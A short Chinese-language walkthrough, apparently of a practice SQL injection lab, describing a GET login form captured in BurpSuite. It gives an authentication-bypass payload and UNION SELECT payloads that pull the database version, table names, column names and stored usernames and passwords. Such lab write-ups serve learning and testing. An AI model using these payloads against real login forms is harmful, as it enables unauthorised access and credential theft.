Get请求-密码登录

发现是Get请求:

随便输个账号密码用BurpSuite抓取发现是Get请求

get请求.PNG
登录错误.PNG

万能密码登录:

尝试使用万能密码 admin’ or ‘1’=1’# ,发现登录成功回显正确的账户密码

登录成功.PNG

当我们提交 username 和 password 后,后台形成的 sql 语句为 @$sql="SELECT username,password FROM users WHERE username='admin'or'1'='1# and password='$passwd' LIMIT 0,1"; 在 # 以后的内容就被注释掉,前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以 admin 的用户登录。那么接下来我们尝试用 get 注入中用到的其他的语句代替 or 1=1 进行注 入。

获取数据库版本信息和数据库:

构造语句 2admin' union select version(),database() # 在 uname ,获取到数据库版本和数据库名

数据库.PNG

获取数据库表:

构造语句 2admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # 获取到表

表.PNG

获取字段名:

构造语句 2admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 获取到字段名

字段.PNG

获取字段值:

构造语句 2admin' union select 1,group_concat(username,password) from users # 获取到字段值

字段值.PNG